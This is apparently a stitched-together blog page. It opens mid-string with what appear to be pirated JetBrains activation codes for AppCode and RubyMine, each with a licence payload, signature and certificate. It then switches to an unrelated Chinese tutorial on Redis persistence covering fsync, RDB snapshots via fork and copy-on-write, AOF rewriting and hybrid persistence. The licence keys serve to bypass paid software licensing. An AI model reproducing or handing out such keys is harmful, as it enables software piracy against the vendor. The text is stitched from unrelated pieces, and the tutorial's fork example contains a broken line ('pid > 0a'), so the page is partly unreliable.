0cnVlfSx7ImNvZGUiOiJQV1MiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9XSwibWV0YWRhdGEiOiIwMTIwMjIwODAxUFNBTjAwMDAwNSIsImhhc2giOiJUUklBTDotMjA0MTkyNDM5OCIsImdyYWNlUGVyaW9kRGF5cyI6NywiYXV0b1Byb2xvbmdhdGVkIjpmYWxzZSwiaXNBdXRvUHJvbG9uZ2F0ZWQiOmZhbHNlfQ==-f1foDndTa2abGqyTmiIMxYSRjoC16NxuD7QhoiOm0bzrHbqIuAXw7zsWC3U9RjqgWi/bj/8fjDpjywAFktScyATpClNXMzoR/nPJaY+J0iU+0ivubS9VERrIYL8O6WOT8PvNoqcdJ+MIK6jKY519y3VcUAd0N47ZKkpmzAOd9moR+j5ma3U8yuJno0oNtsAES7Lp3tzdMlhD7yn105jafY65bRPD8ezoc1c0GkFfsZ/1P3XPxoWeiS70wCSG32xNmcWygCROs3mnlDoamIv+K76G+jLlrR9csS/+vxWYaThfLKIvpwCDUX7xzdnXx8raXkr7c78ZshsNUQZuOgE8ww==-MIIETDCCAjSgAwIBAgIBDTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTIwMTAxOTA5MDU1M1oXDTIyMTAyMTA5MDU1M1owHzEdMBsGA1UEAwwUcHJvZDJ5LWZyb20tMjAyMDEwMTkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCUlaUFc1wf+CfY9wzFWEL2euKQ5nswqb57V8QZG7d7RoR6rwYUIXseTOAFq210oMEe++LCjzKDuqwDfsyhgDNTgZBPAaC4vUU2oy+XR+Fq8nBixWIsH668HeOnRK6RRhsr0rJzRB95aZ3EAPzBuQ2qPaNGm17pAX0Rd6MPRgjp75IWwI9eA6aMEdPQEVN7uyOtM5zSsjoj79Lbu1fjShOnQZuJcsV8tqnayeFkNzv2LTOlofU/Tbx502Ro073gGjoeRzNvrynAP03pL486P3KCAyiNPhDs2z8/COMrxRlZW5mfzo0xsK0dQGNH3UoG/9RVwHG4eS8LFpMTR9oetHZBAgMBAAGjgZkwgZYwCQYDVR0TBAIwADAdBgNVHQ4EFgQUJNoRIpb1hUHAk0foMSNM9MCEAv8wSAYDVR0jBEEwP4AUo562SGdCEjZBvW3gubSgUouX8bOhHKQaMBgxFjAUBgNVBAMMDUpldFByb2ZpbGUgQ0GCCQDSbLGDsoN54TATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBaAwDQYJKoZIhvcNAQELBQADggIBABqRoNGxAQct9dQUFK8xqhiZaYPd30TlmCmSAaGJ0eBpvkVeqA2jGYhAQRqFiAlFC63JKvWvRZO1iRuWCEfUMkdqQ9VQPXziE/BlsOIgrL6RlJfuFcEZ8TK3syIfIGQZNCxYhLLUuet2HE6LJYPQ5c0jH4kDooRpcVZ4rBxNwddpctUO2te9UU5/FjhioZQsPvd92qOTsV+8Cyl2fvNhNKD1Uu9ff5AkVIQn4JU23ozdB/R5oUlebwaTE6WZNBs+TA/qPj+5/we9NH71WRB0hqUoLI2AKKyiPw++FtN4Su1vsdDlrAzDj9ILjpjJKA1ImuVcG329/WTYIKysZ1CWK3zATg9BeCUPAV1pQy8ToXOq+RSYen6winZ2OO93eyHv2Iw5kbn1dqfBw1BuTE29V2FJKicJSu8iEOpfoafwJISXmz1wnnWL3V/0NxTulfWsXugOoLfv0ZIBP1xH9kmf22jjQ2JiHhQZP7ZDsreRrOeIQ/c4yR8IQvMLfC0WKQqrHu5ZzXTH4NO3CwGWSlTY74kE91zXB5mwWAx1jig+UXYc2w4RkVhy0//lOmVya/PEepuuTTI4+UJwC7qbVlh5zfhj8oTNUXgN0AOc+Q0/WFPl1aw5VV/VrO8FCoB15lFVlpKaQ1Yh+DVU8ke+rt9Th0BCHXe0uZOEmH0nOnH/0onD

# AppCode 专用

1
VKZAU5B43Y-eyJsaWNlbnNlSWQiOiJWS1pBVTVCNDNZIiwibGljZW5zZWVOYW1lIjoia2lkZHkgaW5zZWFtcyIsImFzc2lnbmVlTmFtZSI6IiIsImFzc2lnbmVlRW1haWwiOiIiLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiIiLCJjaGVja0NvbmN1cnJlbnRVc2UiOmZhbHNlLCJwcm9kdWN0cyI6W3siY29kZSI6IlBTSSIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX0seyJjb2RlIjoiUENXTVAiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9LHsiY29kZSI6IkFDIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjpmYWxzZX0seyJjb2RlIjoiUFNXIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjp0cnVlfSx7ImNvZGUiOiJQV1MiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9XSwibWV0YWRhdGEiOiIwMTIwMjIwODAxUFNBTjAwMDAwNSIsImhhc2giOiJUUklBTDo4MjMzNzExNjIiLCJncmFjZVBlcmlvZERheXMiOjcsImF1dG9Qcm9sb25nYXRlZCI6ZmFsc2UsImlzQXV0b1Byb2xvbmdhdGVkIjpmYWxzZX0=-RrHOvDeSwoPjgraFAh3zGXDfoJ1hXOrZJroE/sKj/96CimH7YlD0An0lUEGvSEsovDprHWDZ4q2Wq11vukassv+avD1JHuurWhjp1mpIOvOntp2VHbBV9+iUxsr5ET+zJaIl0WiaRd6n75LeU4ZhxT4y6Da7cLbrqEawH+zjUuHzs60mUaqZ/5+j3qfVlwnx+iwPPu3dFtXWvADmcV/nb2jwnrJcLx9HMGVbS3yrgNoXhqXI+YRsYdNwYXbF7yVseGoxjKHQDBWTd3dAjWES/iC0s8xzLD7VXGkd3gIDJ0cc8cgzmCUr3E/QABzU1CdpqY0hyCedCvb9IOwfmTH+ug==-MIIETDCCAjSgAwIBAgIBDTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTIwMTAxOTA5MDU1M1oXDTIyMTAyMTA5MDU1M1owHzEdMBsGA1UEAwwUcHJvZDJ5LWZyb20tMjAyMDEwMTkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCUlaUFc1wf+CfY9wzFWEL2euKQ5nswqb57V8QZG7d7RoR6rwYUIXseTOAFq210oMEe++LCjzKDuqwDfsyhgDNTgZBPAaC4vUU2oy+XR+Fq8nBixWIsH668HeOnRK6RRhsr0rJzRB95aZ3EAPzBuQ2qPaNGm17pAX0Rd6MPRgjp75IWwI9eA6aMEdPQEVN7uyOtM5zSsjoj79Lbu1fjShOnQZuJcsV8tqnayeFkNzv2LTOlofU/Tbx502Ro073gGjoeRzNvrynAP03pL486P3KCAyiNPhDs2z8/COMrxRlZW5mfzo0xsK0dQGNH3UoG/9RVwHG4eS8LFpMTR9oetHZBAgMBAAGjgZkwgZYwCQYDVR0TBAIwADAdBgNVHQ4EFgQUJNoRIpb1hUHAk0foMSNM9MCEAv8wSAYDVR0jBEEwP4AUo562SGdCEjZBvW3gubSgUouX8bOhHKQaMBgxFjAUBgNVBAMMDUpldFByb2ZpbGUgQ0GCCQDSbLGDsoN54TATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBaAwDQYJKoZIhvcNAQELBQADggIBABqRoNGxAQct9dQUFK8xqhiZaYPd30TlmCmSAaGJ0eBpvkVeqA2jGYhAQRqFiAlFC63JKvWvRZO1iRuWCEfUMkdqQ9VQPXziE/BlsOIgrL6RlJfuFcEZ8TK3syIfIGQZNCxYhLLUuet2HE6LJYPQ5c0jH4kDooRpcVZ4rBxNwddpctUO2te9UU5/FjhioZQsPvd92qOTsV+8Cyl2fvNhNKD1Uu9ff5AkVIQn4JU23ozdB/R5oUlebwaTE6WZNBs+TA/qPj+5/we9NH71WRB0hqUoLI2AKKyiPw++FtN4Su1vsdDlrAzDj9ILjpjJKA1ImuVcG329/WTYIKysZ1CWK3zATg9BeCUPAV1pQy8ToXOq+RSYen6winZ2OO93eyHv2Iw5kbn1dqfBw1BuTE29V2FJKicJSu8iEOpfoafwJISXmz1wnnWL3V/0NxTulfWsXugOoLfv0ZIBP1xH9kmf22jjQ2JiHhQZP7ZDsreRrOeIQ/c4yR8IQvMLfC0WKQqrHu5ZzXTH4NO3CwGWSlTY74kE91zXB5mwWAx1jig+UXYc2w4RkVhy0//lOmVya/PEepuuTTI4+UJwC7qbVlh5zfhj8oTNUXgN0AOc+Q0/WFPl1aw5VV/VrO8FCoB15lFVlpKaQ1Yh+DVU8ke+rt9Th0BCHXe0uZOEmH0nOnH/0onD

# RubyMine 专用

1
EZK4R5UGRP-eyJsaWNlbnNlSWQiOiJFWks0UjVVR1JQIiwibGljZW5zZWVOYW1lIjoia2lkZHkgaW5zZWFtcyIsImFzc2lnbmVlTmFtZSI6IiIsImFzc2lnbmVlRW1haWwiOiIiLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiIiLCJjaGVja0NvbmN1cnJlbnRVc2UiOmZhbHNlLCJwcm9kdWN0cyI6W3siY29kZSI6IlBTSSIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX0seyJjb2RlIjoiUENXTVAiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9LHsiY29kZSI6IlBSQiIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX0seyJjb2RlIjoiUk0iLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOmZhbHNlfSx7ImNvZGUiOiJQV1MiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9XSwibWV0YWRhdGEiOiIwMTIwMjIwODAxUFNBTjAwMDAwNSIsImhhc2giOiJUUklBTDoxOTE2MTQ0NDI2IiwiZ3JhY2VQZXJpb2REYXlzIjo3LCJhdXRvUHJvbG9uZ2F0ZWQiOmZhbHNlLCJpc0F1dG9Qcm9sb25nYXRlZCI6ZmFsc2V9-Bc16m/sJ8qqPmC6hBp93iF6Y3vU9CgV5PhPpWDM3p5qEu3oM/BnP3TuTK4uxuaXo16JJF5N0RhV1n4Od7mq83La246o9e2tzTBEwniF19U3zUgOHk9arYIluefGJODHrY07uYfFJzF+i5XXZ7fVOVz1IjWtcU5Mdet/48gh2RVMRPvIi5JHZi1dRawzBKUwTzOeBGvs2GRSqWphxxc5uUqmOhQiIcNK3IBcZS8gANY0XaFmF6gkglNl7g1fPP9nZ79MWWlvDuqlXmVMCiS2OFiMNfAsJ8fjIWiY32r3PlnV/ES356fwYnVDw9ATvRZL05VaRKrLSfKuq8E/ewiRGxA==-MIIETDCCAjSgAwIBAgIBDTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTIwMTAxOTA5MDU1M1oXDTIyMTAyMTA5MDU1M1owHzEdMBsGA1UEAwwUcHJvZDJ5LWZyb20tMjAyMDEwMTkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCUlaUFc1wf+CfY9wzFWEL2euKQ5nswqb57V8QZG7d7RoR6rwYUIXseTOAFq210oMEe++LCjzKDuqwDfsyhgDNTgZBPAaC4vUU2oy+XR+Fq8nBixWIsH668HeOnRK6RRhsr0rJzRB95aZ3EAPzBuQ2qPaNGm17pAX0Rd6MPRgjp75IWwI9eA6aMEdPQEVN7uyOtM5zSsjoj79Lbu1fjShOnQZuJcsV8tqnayeFkNzv2LTOlofU/Tbx502Ro073gGjoeRzNvrynAP03pL486P3KCAyiNPhDs2z8/COMrxRlZW5mfzo0xsK0dQGNH3UoG/9RVwHG4eS8LFpMTR9oetHZBAgMBAAGjgZkwgZYwCQYDVR0TBAIwADAdBgNVHQ4EFgQUJNoRIpb1hUHAk0foMSNM9MCEAv8wSAYDVR0jBEEwP4AUo562SGdCEjZBvW3gubSgUouX8bOhHKQaMBgxFjAUBgNVBAMMDUpldFByb2ZpbGUgQ0GCCQDSbLGDsoN54TATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBaAwDQYJKoZIhvcNAQELBQADggIBABqRoNGxAQct9dQUFK8xqhiZaYPd30TlmCmSAaGJ0eBpvkVeqA2jGYhAQRqFiAlFC63JKvWvRZO1iRuWCEfUMkdqQ9VQPXziE/BlsOIgrL6RlJfuFcEZ8TK3syIfIGQZNCxYhLLUuet2HE6LJYPQ5c0jH4kDooRpcVZ4rBxNwddpctUO2te9UU5/FjhioZQsPvd92qOTsV+8Cyl2fvNhNKD1Uu9ff5AkVIQn4JU23ozdB/R5oUlebwaTE6WZNBs+TA/qPj+5/we9NH71WRB0hqUoLI2AKKyiPw++FtN4Su1vsdDlrAzDj9ILjpjJKA1ImuVcG329/WTYIKysZ1CWK3zATg9BeCUPAV1pQy8ToXOq+RSYen6winZ2OO93eyHv2Iw5kbn1dqfBw1BuTE29V2FJKicJSu8iEOpfoafwJISXmz1wnnWL3V/0NxTulfWsXugOoLfv0ZIBP1xH9kmf22jjQ2JiHhQZP7ZDsreRrOeIQ/c4yR8IQvMLfC0WKQqrHu5ZzXTH4NO3CwGWSlTY74kE91zXB5mwWAx1jig+UXYc2w4RkVhy0//lOmVya/PEepuuTTI4+UJwC7qbVlh5zfhj8oTNUXgN0AOc+Q0/WFPl1aw5VV/VrO8FCoB15lFVlpKaQ1Yh+DVU8ke+rt9Th0BCHXe0uZOEmH0nOnH/0onD

# 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

Redis持久化

InterviewCoder

# 一、持久化简介

Redis 的数据 全部存储内存 中,如果 突然宕机,数据就会全部丢失,因此必须有一套机制来保证 Redis 的数据不会因为故障而丢失,这种机制就是 Redis 的 持久化机制,它会将内存中的数据库状态保存到磁盘 中。

持久化发生了什么| 从内存到磁盘

我们来稍微考虑一下 Redis 作为一个内存数据库 要做的关于持久化的事情。通常来说,从客户端发

起请求开始,到服务器真实地写入磁盘,需要发生如下几件事情:

详细版 的文字描述大概就是下面这样:

\1. 客户端向数据库 发送写命令 (数据在客户端的内存中)

\2. 数据库 接收 到客户端的 写请求 (数据在服务器的内存中)

\3. 数据库 调用系统 API 将数据写入磁盘 (数据在内核缓冲区中)

\4. 操作系统将 写缓冲区 传输到 磁盘控控制器 (数据在磁盘缓存中)

\5. 操作系统的磁盘控制器将数据 写入实际的物理媒介(数据在磁盘中)

** 注意、上面的过程其实是 ** 极度精简 的,在实际的操作系统中,缓存缓冲区 会比这 多得多

# 如何尽可能保证持久化的安全

如果我们故障仅仅涉及到 软件层面 (该进程被管理员终止或程序崩溃) 并且没有接触到内核,那么在 上 述步骤 3 成功返回之后,我们就认为成功了。即使进程崩溃,操作系统仍然会帮助我们把数据正确地写入磁盘。

如果我们考虑 ** 停电 ** 火灾 等 更具灾难性 的事情,那么只有在完成了第 5 步之后,才是安全的。

所以我们可以总结得出数据安全最重要的阶段是:步骤三、四、五,即:

数据库软件调用写操作将用户空间的缓冲区转移到内核缓冲区的频率是多少?

内核多久从缓冲区取数据刷新到磁盘控制器?

磁盘控制器多久把数据写入物理媒介一次?

注意: 如果真的发生灾难性的事件,我们可以从上图的过程中看到,任何一步都可能被意外打断

丢失,所以只能 尽可能地保证 数据的安全,这对于所有数据库来说都是一样的。

我们从 第三步 开始。Linux 系统提供了清晰、易用的用于操作文件的 POSIX file API , 20 多年过

去,仍然还有很多人对于这一套 API 的设计津津乐道,我想其中一个原因就是因为你光从 API 的命名

就能够很清晰地知道这一套 API 的用途:

1
2
3
4
5
int open(const char *path, int oflag, .../*,mode_t mode */);
int close (int filedes);
int remove( const char *fname );
ssize_t write(int fildes, const void *buf, size_t nbyte);
ssize_t read(int fildes, void *buf, size_t nbyte);

所以,我们有很好的可用的 API 来完成 第三步,但是对于成功返回之前,我们对系统调用花费的时间没有太多的控制权。

然后我们来说说 第四步。我们知道,除了早期对电脑特别了解那帮人 (操作系统就这帮人搞的),实际的物理硬件都不是我们能够 直接操作 的,都是通过 操作系统调用 来达到目的的。为了防止过慢的 I/O 操作拖慢整个系统的运行,操作系统层面做了很多的努力,譬如说 上述第四步 提到的 写缓冲区,并不是所有的写操作都会被立即写入磁盘,而是要先经过一个缓冲区,默认情况下,Linux 将在 30 后实际提交写入。

但是很明显,30 并不是 Redis 能够承受的,这意味着,如果发生故障,那么最近 30 秒内写入的所有数据都可能会丢失。幸好 PROSIX API 提供了另一个解决方案: fsync ,该命令会 强制 内核将 缓 **** 冲区 写入 磁盘,但这是一个非常消耗性能的操作,每次调用都会 阻塞等待 直到设备报告 IO 完成,所以一般在生产环境的服务器中,Redis 通常是每隔 1s 左右执行一次 fsync 操作。到目前为止,我们了解到了如何控制 第三步 和 第四步 ,但是对于 第五步,我们 完全无法控制。也许一些内核实现将试图告诉驱动实际提交物理介质上的数据,或者控制器可能会为了提高速度而重新排序写操作,不会尽快将数据真正写到磁盘上,而是会等待几个多毫秒。这完全是我们无法控制的。

# ** 二、Redis ** 中的两种持久化方式

方式一:快照

Redis 快照 是最简单的 Redis 持久性模式。当满足特定条件时,它将生成数据集的时间点快照,例如,

如果先前的快照是在 2 分钟前创建的,并且现在已经至少有 100 次新写入,则将创建一个新的快照。此条件可以由用户配置 Redis 实例来控制,也可以在运行时修改而无需重新启动服务器。快照作为包含整个数据集的单个 .rdb 文件生成。

但我们知道,Redis 是一个 单线程 的程序,这意味着,我们不仅仅要响应用户的请求,还需要进行内存快照。而后者要求 Redis 必须进行 IO 操作,这会严重拖累服务器的性能。

还有一个重要的问题是,我们在 持久化的同时内存数据结构 还可能在 变化,比如一个大型的 hash 字典正在持久化,结果一个请求过来把它删除了,可是这才刚持久化结束,咋办?

使用系统多进程 COW(Copy On Write) 机制 | fork 函数

操作系统多进程 COW(Copy On Write) 机制 拯救了我们。Redis 在持久化时会调用 glibc 的函数

fork 产生一个子进程,简单理解也就是基于当前进程 复制 了一个进程,主进程和子进程会共享内存

里面的代码块和数据段:

这里多说一点,为什么 fork 成功调用后会有两个返回值呢? 因为子进程在复制时复制了父进程的堆栈

段,所以两个进程都停留在了 fork 函数中 (都在同一个地方往下继续 " 同时 " 执行),等待返回,所以

次在父进程中返回子进程的 pid**,另一次在子进程中返回零,系统资源不够时返回负数

1
2
3
4
5
6
pid = os.fork() 
if pid > 0a:
handle_client_request() # 父进程继续处理客户端请求
if pid == 0:
handle_snapshot_write() # 子进程处理快照写磁盘
if pid < 0: # fork error

所以 快照持久化 可以完全交给 子进程 来处理,父进程 则继续 处理客户端请求子进程 做数据持久

化,它 不会修改现有的内存数据结构,它只是对数据结构进行遍历读取,然后序列化写到磁盘中。但是

父进程 不一样,它必须持续服务客户端请求,然后对 内存数据结构进行不间断的修改

这个时候就会使用操作系统的 COW 机制来进行 数据段页面 的分离。数据段是由很多操作系统的页面组合而成,当父进程对其中一个页面的数据进行修改时,会将被共享的页面复 制一份分离出来,然后

对这个复制的页面进行修改。这时 子进程 相应的页面是 没有变化的,还是进程产生时那一瞬间的数据。

子进程因为数据没有变化,它能看到的内存里的数据在进程产生的一瞬间就凝固了,再也不会改变,这也是为什么 Redis 的持久化 叫「快照」的原因。接下来子进程就可以非常安心的遍历数据了进行序列化写磁盘了。

快照不是很持久。如果运行 Redis 的计算机停止运行,电源线出现故障或者您 kill -9 的实例意外发生,则写入 Redis 的最新数据将丢失。尽管这对于某些应用程序可能不是什么大问题,但有些使用案例具有充分的耐用性,在这些情况下,快照并不是可行的选择。

AOF(Append Only File - 仅追加文件 **)** 它的工作方式非常简单:每次执行 修改内存 中数据集的写操作时,都会 记录 该操作。假设 AOF 日志记录了自 Redis 实例创建以来 所有的修改性指令序列,那么就可以通过对一个空的 Redis 实例 顺序执行所有的指令,也就是 「重放」,来恢复 Redis 当前实例的内存数据结构的状态。

# AOF 重写

Redis 在长期运行的过程中,AOF 的日志会越变越长。如果实例宕机重启,重放整个 AOF 日志会非常耗时,导致长时间 Redis 无法对外提供服务。所以需要对 AOF 日志 瘦身。

Redis 提供了 bgrewriteaof 指令用于对 AOF 日志进行瘦身。其 原理 就是 开辟一个子进程 对内存进行 遍历 转换成一系列 Redis 的操作指令,序列化到一个新的 AOF 日志文件 中。序列化完毕后再将操作期间发生的 增量 AOF 日志 追加到这个新的 AOF 日志文件中,追加完毕后就立即替代旧的 AOF 日志文件了,瘦身工作就完成了。

fsync

AOF 日志是以文件的形式存在的,当程序对 AOF 日志文件进行写操作时,实际上是将内容写到了内核

为文件描述符分配的一个内存缓存中,然后内核会异步将脏数据刷回到磁盘的。

就像我们 上方第四步 描述的那样,我们需要借助 glibc 提供的 fsync (int fd) 函数来讲指定的文件内容 强制从内核缓存刷到磁盘。但 强制开车 仍然是一个很消耗资源的一个过程,需要 节制!通常来说,生产环境的服务器,Redis 每隔 1s 左右执行一次 fsync 操作就可以了。

Redis 同样也提供了另外两种策略,一个是 永不 fsync,来让操作系统来决定合适同步磁盘,很不安全,另一个是 来一个指令就 fsync 一次,非常慢。但是在生产环境基本不会使用,了解一下即可。

# Redis 4.0 混合持久化

重启 Redis 时,我们很少使用 rdb 来恢复内存状态,因为会丢失大量数据。我们通常使用 AOF 日志重放,但是重放 AOF 日志性能相对 rdb 来说要慢很多,这样在 Redis 实例很大的情况下,启动需要花费很长的时间。

Redis 4.0 为了解决这个问题,带来了一个新的持久化选项 —— 混合持久化。将 rdb 文件的内容和增量的 AOF 日志文件存在一起。这里的 AOF 日志不再是全量的日志,而是 自持久化开始到持久化结束

这段时间发生的增量 AOF 日志,通常这部分 AOF 日志很小:

于是在 Redis 重启的时候,可以先加载 rdb 的内容,然后再重放增量 AOF 日志就可以完全替代之前的 AOF 全量文件重放,重启效率因此大幅得到提升。

# 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!